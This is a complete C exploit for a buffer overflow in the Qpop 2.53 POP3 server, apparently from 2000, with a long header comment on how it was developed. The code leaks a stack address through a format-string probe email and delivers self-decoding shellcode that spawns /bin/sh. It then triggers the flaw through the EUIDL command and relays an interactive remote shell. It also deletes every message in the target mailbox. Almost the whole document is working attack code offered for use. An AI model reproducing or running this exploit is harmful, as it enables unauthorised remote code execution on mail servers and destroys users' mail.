Q-POP 2.53 Remote Overflow.
14f6333c3c41bb98f3702483bc222cd3f6e4d37561678fe062e9b9603a08b0c4
/*
* Q-POP 2.53 The real smash. For linux.
* (C) 2000 Axur Communications Inc.
* 26 May csh@axur.org
* ----------
*
* Some notes about this: (you may not see this ok, because I use wide screen
width. Let it scroll)
It's now more than 40 hours sleepless work on this. I hope you enjoy thi
s release.
I'll explain why this took that long. First, the directives to use this
exploit:
Ingredients:
1 - half neuronium. Even your blond girl friend can do that.
2 - a valid pop account. Now the hardest part:
a. you should be able to find out the smtp server that handle thi
s account, as well its host
for pop query.
b. you must be smart enough to clean your mess.
c. do not blame me for that. By the way, I not responsible for yo
ur attitudes. Use this to audit
your system, not your neighbor's one.
3 - edit this file (look main void), to exploit your box.
Now, some theory (I love that). It started May 24th, 7pm.
I saw prizm post on buqtraq, so I wanted to see this little baby smashin
g his ass by my eyes, so I started
the action.
After smashing it locally, some time spent. I got several vfprintf stack
fault, then I realized that it was
a ibc5 bug, looked forward to it. Posted this note right away to buqtraq
, hope it'll published. ('til now,
nothing). After this little, incident, a lot of more were defacing my co
ding hungryness.
I made a 20seconds shellcode to the first tries, then I realized sendmai
ls filters some characters.
In some tests, reveals that 0x80...0x9f characters is filtered by sendma
il on header tags.
Ohh god, let me apply my old virii technics I learned reading the famous
40hex ;).
I put myself into a challenge now. Self-mutanting code is the only solut
ion to get around, as most "movs"
opcodes use those range of chars, as well the int $0x80 (cd 80). okay. I
made the shell quite simple.
Some push, pop, inc, and inner looping technics got it done. Ow, by the
way, the sun arised. its 7am.
Time to smash remotely. Oh my god, the From: statement as prizm put in h
is exploit filters even 0xff, my
stack range is now 0xbffffe51c ;). I sent prizm an email regarding this
quote, and went to bed to have
"some sleep". Its now 7:30.
11am I woke up thinking about how to fools the "From:" statement, lettin
g it saving 0xff chars. Time to
download sendmail's source code for a closer analisys.
Damn. I forgot how sendmail's code is messy! Well, at this time, 3pm and
I am giving up this shite.
No answers from prizm. He answered my on my quote to libc.5, and he said
he had a working exploit. I thought
he is a liar. It's now 6pm and I should be writing a monography about st
eganographic methods. But this
is getting me mad. I started to play with From: headers, tried to solve
the problem with mime, but no deal.
Well, finally I found out a solution. sendmail forget about domain when
the right email address is between
"<>". So I can throw 0xff chars after a bracked email. Now, to the real
thing :)
Exploing remotely from now, is trivial, but not the return address. I re
alized pretty fast a way around this.
Why not sending a probe message with a "%p" which should point to the "a
fter" stack address?
So I did it. It now calculates the exactly return address to shell code.
Then its now 2am 26th May. Fully documented (not that much), but a almos
t script kiddie exploit.
Thank you for your attention,
Gustavo Scotti <csh@axur.org>
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <sys/socket.h>
#include <netdb.h> /* gethostbyname */
#include <arpa/inet.h> /* inet_ntoa */
#include <string.h>
/* these functions were taken from axur's Tamanduah's project.
should give appropriate credits.
*/
#define OK 0
#define INVALID_HOST -1
#define INVALID_SOCKET -2
#define CONNECTION_REFUSED -3
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned long u32;
int
tcp_connect( daddr, dest)
u32 daddr;
u16 dest;
{
struct sockaddr_in server;
int new;
if (daddr == (u32)INVALID_HOST)
return INVALID_HOST;
server.sin_family = AF_INET;
server.sin_port = htons( dest);
server.sin_addr.s_addr = htonl(daddr);
new = socket( AF_INET, SOCK_STREAM, 0);
if (new<0)
return INVALID_SOCKET;
if (connect( new, (struct sockaddr *)&server, sizeof( server))<0)
return CONNECTION_REFUSED;
return new;
}
u32
dns2ip( host)
u8 *host;
{
struct hostent *dns;
u32 saddr;
dns = gethostbyname( host);
if (!dns)
return INVALID_HOST;
bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
return ntohl(saddr);
}
int
strexplode( u8 *toparse, u8 **argv, int max_argc, u8 *separators)
{
int arg = 0;
u8 *tmp;
tmp = toparse;
while (arg<max_argc)
{
/* strip leading separators */
while (*tmp && strchr(separators, *tmp))
tmp++;
if (!*tmp) break;
argv[arg++] = tmp;
while (*tmp && !strchr(separators, *tmp))
tmp++;
if (!*tmp) break;
*tmp = 0; tmp++;
}
return arg;
}
/* end of tamandua's portion code... */
/*
Mutating shell-code. For QPOP-2.53.
by csh@axur.org
This shellcodes illustrates that even with character filtering, it is possibl
e to issue a shell-code.
This is done with a simple virus technic that self-mutates its code, generati
ng the right one.
The "good" application for self-mutated code is code compression, but I haven
't done this for 2 main reasons:
1. The shellcode must be tiny. VERY tiny. 69 bytes means anything to yo
u?
2. I must shrink this code as much as possible, to gain some "nop" spac
e before stack smashing,
to give accurate and error-margin return address. If you're in touch
with buffer overflow, you know
what I am talking about. :)
correction for now: this exploit has the abilitie to get the ret add
res precisely
*/
u8 decryptshellcode[]=
"\x31\xc0"
"\xeb\x35\x5e\x6a\x0e\x5b\x6a\x26\x59\x56\x5f\x29\xcf\xfe\x07"
"\x47\x49\x75\xfa\x4b\x75\xf0";
u8 mutatedshellcode[]=
"\x7b\xe2\x75\xb2\xfa\x7b\x38\xfa\x23\xb2\x7a\x38\xf9\x7b\x38\xfe"
"\xa2\xfd\x7f\x40\xfa\x7f\x48\xfe\x7b\xe5\xbf\x72\x23\xb2\x32\xbf"
"\x72\xe8\xc6\xff\xff\xff";
u8 shell[]="/bin/sh";
u16 pop_port = 110,
mx_port = 25;
u8 *mx_host, *pop_host;
u8 *mx_mail, *pop_user, *pop_pass;
u32 ret_addr;
int verbose;
int
mx_connect()
{
u8 tmp[1024];
int fd,n,i;
u32 addr;
addr = dns2ip(mx_host);
if (addr==0xfffffff)
{
printf("mx host not found.\n");
exit(0);
}
fd = tcp_connect(addr, mx_port);
if (fd<=0)
{
printf("mx host connection refused (%d)\n", mx_port);
exit(0);
}
/* reads first banner */
n = read(fd, tmp, sizeof(tmp));
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"220 ", 4))
{
printf("mx_connect, stage 1 - connect. Error\n");
exit(0);
}
sprintf(tmp,"HELO qpop-sploit\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"250 ", 4))
{
printf("mx_connect, stage 2 - HELO. Error. Maybe you are not welcome.\n")
;
exit(0);
}
sprintf(tmp,"MAIL FROM: <root@localhost>\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"250 ", 4))
{
printf("mx_connect, stage 3 - MAIL FROM. Error. I believe they are denyin
g localhost. Change the source.\n");
exit(0);
}
sprintf(tmp,"RCPT TO: <%s>\n", mx_mail);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"250 ", 4))
{
printf("mx_connect, stage 4 - RCPT TO. Error. You sure this email exists?
(%s).\n", mx_mail);
exit(0);
}
sprintf(tmp,"DATA\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"354 ", 4))
{
printf("mx_connect, stage 5 - DATA. Error. Denying it?!?! What a loser.\n
");
exit(0);
}
return fd;
}
mx_probe()
{
u8 tmp[1024];
int fd, n;
fd = mx_connect();
sprintf(tmp, "X-UIDL: qpop-probe");
write(fd, tmp, strlen(tmp));
sprintf(tmp, "\nFrom: <root@localhost> %s", "%p");
write(fd, tmp, strlen(tmp));
sprintf(tmp, "\nSubject: Wanna play?\n\n"
"Tell me a number and I'll show you the truth!");
write(fd, tmp, strlen(tmp));
sprintf(tmp,"\n.\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"250 ", 4))
{
printf("probe_mx, End of Message. Error. Mail cannot be delivered. Check
message (verbose).\n");
return 0 ;
}
sprintf(tmp,"QUIT\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"221 ", 4))
{
printf("probe_mx, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n");
return 0 ;
}
close(fd);
}
mx_egg()
{
u8 tmp[1024];
int fd, n;
fd = mx_connect();
sprintf(tmp, "X-UIDL: %s%s%s", decryptshellcode, mutatedshellcode, shell);
write(fd, tmp, strlen(tmp));
printf("egg size %d bytes\n",
strlen(decryptshellcode)+strlen(mutatedshellcode)+strlen(shell));
sprintf(tmp, "\nFrom: <root@cisco.com> %s", "%.950d%.912d");
write(fd, tmp, strlen(tmp));
for (n=0;n<25;n++)
write(fd, &ret_addr, 4);
sprintf(tmp, "\nSubject: How is my little baby?\n\n"
"Did it birth?! How cute!");
write(fd, tmp, strlen(tmp));
sprintf(tmp,"\n.\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"250 ", 4))
{
printf("mx_egg, End of Message. Error. Mail cannot be delivered. Check me
ssage (verbose).\n");
return 0 ;
}
sprintf(tmp,"QUIT\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"221 ", 4))
{
printf("mx_egg, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n");
return 0 ;
}
close(fd);
}
pop_connect( int *nmsg)
{
u8 tmp[4096];
int fd,n,i, msgid;
u32 addr;
addr = dns2ip(pop_host);
if (addr==0xfffffff)
{
printf("pop host not found.\n");
exit(0);
}
fd = tcp_connect(addr, pop_port);
if (fd<=0)
{
printf("pop host connection refused (%d)\n", pop_port);
exit(0);
}
/* reads first banner */
n = read(fd, tmp, sizeof(tmp));
if (verbose)
printf("%s", tmp);
if (!strstr(tmp,"QPOP (version 2.53)"))
{
printf("pop_connect, stage 1 - This version is not exploitable.\n");
return 0 ;
}
/* check user */
sprintf(tmp,"USER %s\n", pop_user);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"+OK ", 4))
{
printf("clean 1 - USER. Error. Is your account valid?.\n");
return 0 ;
}
/* check pass */
sprintf(tmp,"PASS %s\n", pop_pass);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (verbose)
printf("%s", tmp);
if (strncmp(tmp,"+OK ", 4))
{
printf("clean stage 2 - PASS. Error. Password mismatch.\n");
return 0 ;
}
else
{
u8 *arg[6];
strexplode(tmp, arg, 6, " ");
*nmsg = atoi(arg[3]);
}
return fd;
}
pop_clean()
{
u8 tmp[4096];
int fd, i, n, nmsg;
fd = pop_connect(&nmsg);
if (!nmsg)
{
printf("no messages on server...\n");
close(fd);
return;
}
printf("you have %d messages, deleting...\n", nmsg);
for (i=1;i<=nmsg;i++)
{
printf("%d..", i); fflush(stdout);
sprintf(tmp,"DELE %d\n", i);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (strncmp(tmp,"+OK ", 4))
{
printf("clean stage 3 - DELE. Error. ?????.\n");
exit(0);
}
}
printf("done\n");
sprintf(tmp,"QUIT\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (strncmp(tmp,"+OK ", 4))
{
printf("clean stage 4 - QUIT. Error. ?????.\n");
exit(0);
}
close(fd);
}
check_delivery()
{
u8 tmp[4096];
int fd,n,i, nmsg;
redo:
fd = pop_connect(&nmsg);
if (!nmsg)
{
printf("no messages on server...\n");
close(fd);
printf("sleeping 5 seconds...\n");
sleep(5);
goto redo;
}
/* take last message, which must be the exploit */
sprintf(tmp,"RETR %d\n", nmsg);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (strncmp(tmp,"+OK ", 4))
{
printf("check_delivery stage 3 - RETR. Error. ?????.\n");
return 0 ;
}
else
{
u8 *param[3], head[128], *xuidl;
n = strexplode(tmp, param, 3, " ");
n = atoi(param[1]);
read(fd, tmp, n); tmp[n]=0;
printf("checking dependencies...\n");
xuidl = strstr(tmp, "X-UIDL: ");
if (!xuidl)
{
printf("check_delivery stage 4 - Error looking tag X-UIDL\n");
return 0 ;
}
xuidl+=8;
for (i=0;i<sizeof(decryptshellcode)-1;i++, xuidl++)
if (*xuidl!=decryptshellcode[i])
{
printf("check_delivery stage 5 - decrypt shellcode mismatch\n");
exit(0);
}
printf("decrypt shellcode OK..."); fflush(stdout);
for (i=0;i<sizeof(mutatedshellcode)-1;i++, xuidl++)
if (*xuidl!=mutatedshellcode[i])
{
printf("check_delivery stage 6 - mutated shellcode mismatch\n");
exit(0);
}
printf("mutated shellcode OK..."); fflush(stdout);
for (i=0;i<sizeof(shell)-1;i++, xuidl++)
if (*xuidl!=shell[i])
{
printf("check_delivery stage 7 - shell mismatch\n");
exit(0);
}
printf("shell OK..."); fflush(stdout);
sprintf(head, "%s", "%.950d%.912d");
xuidl = head + strlen(head);
for (i=0;i<25;i++, xuidl+=4)
*(u32 *)xuidl = ret_addr;
*xuidl=0;
n = strlen(head);
xuidl = strstr(tmp, "From: ");
if (!xuidl)
{
printf("check_delivery stage 8 - Error looking tag From:\n");
exit( 0 );
}
xuidl+=23;
for (i=0;i<n;i++, xuidl++)
if (*xuidl!=head[i])
{
printf("check_delivery stage 8 - From ret address mismatch\n");
return 0 ;
}
printf("return address OK.\n");
}
sprintf(tmp,"EUIDL %d\n", nmsg);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
sprintf(tmp,"id ; uname -a\n");
write(fd, tmp, strlen(tmp));
printf("Entering loop...\n");
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
while (n>0)
{
fd_set fds; /* do a simple xit, very fast.. ;) I luv unix */
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(fd, &fds);
select(fd+1, &fds, NULL, NULL, NULL);
if (FD_ISSET(0, &fds))
{
n = read(0, tmp, sizeof(tmp));
if (n>0)
write(fd, tmp, n);
}
if (FD_ISSET(fd, &fds))
{
n = read(fd, tmp, sizeof(tmp));
if (n>0)
write(1, tmp, n);
}
}
printf("out!\n");
close(fd);
return 1;
}
pop_getaddr()
{
u8 tmp[4096];
int fd, i, n, nmsg;
fd = pop_connect(&nmsg);
if (!nmsg)
{
printf("no messages on server...\n");
exit(0);
}
sprintf(tmp,"EUIDL %d\n", nmsg);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (strncmp(tmp,"+OK ", 4))
{
printf("pop_getaddr stage 1 - EUIDL error.\n");
exit(0);
}
else
{
u8 *arg[6];
strexplode(tmp, arg, 6, " ");
ret_addr = 0;
sscanf(arg[5], "%x", &ret_addr);
if (!ret_addr)
{
printf("pop_getaddr stage 2 - cannot take address value, great possibi
lity they are patched\n");
exit(0);
}
ret_addr-=2110; /* magic buffer size :P */
}
sprintf(tmp,"DELE %d\n", nmsg);
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (strncmp(tmp,"+OK ", 4))
{
printf("clean stage 3 - DELE. Error. ?????.\n");
exit(0);
}
sprintf(tmp,"QUIT\n");
write(fd, tmp, strlen(tmp));
n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
if (strncmp(tmp,"+OK ", 4))
{
printf("clean stage 4 - QUIT. Error. ?????.\n");
exit(0);
}
printf("done\nReturn address: %x\n", ret_addr);
close(fd);
}
main(int argc, char **argv)
{
int i;
printf("Q-POP 2.53 exploitation by Axur Communications Inc.\n"
"(C)2000, csh@axur.org\n"
"Thanks to prizm@resentment.org and b0f for finding this bug\n\n"
);
/* change here... */
mx_host = "localhost"; mx_mail = "lamer@localhost";
pop_host = "localhost";
pop_user = "lamer"; pop_pass = "lamepwd";
/* end of changing... */
verbose=0;
printf("Checking veracity user/pass, and removes its mail (you won't need
them anyway)..."); fflush(stdout);
pop_clean();
printf("Sending probing email..."); fflush(stdout);
mx_probe();
if (strcmp(mx_host, pop_host))
{
printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout);
sleep(4);
}
pop_getaddr();
printf("Sending egg email..."); fflush(stdout);
mx_egg();
printf("Checking delivery..."); fflush(stdout);
if (strcmp(mx_host, pop_host))
{
printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout);
sleep(4);
}
check_delivery();
}
/* www.hack.co.za [27 September 2000]*/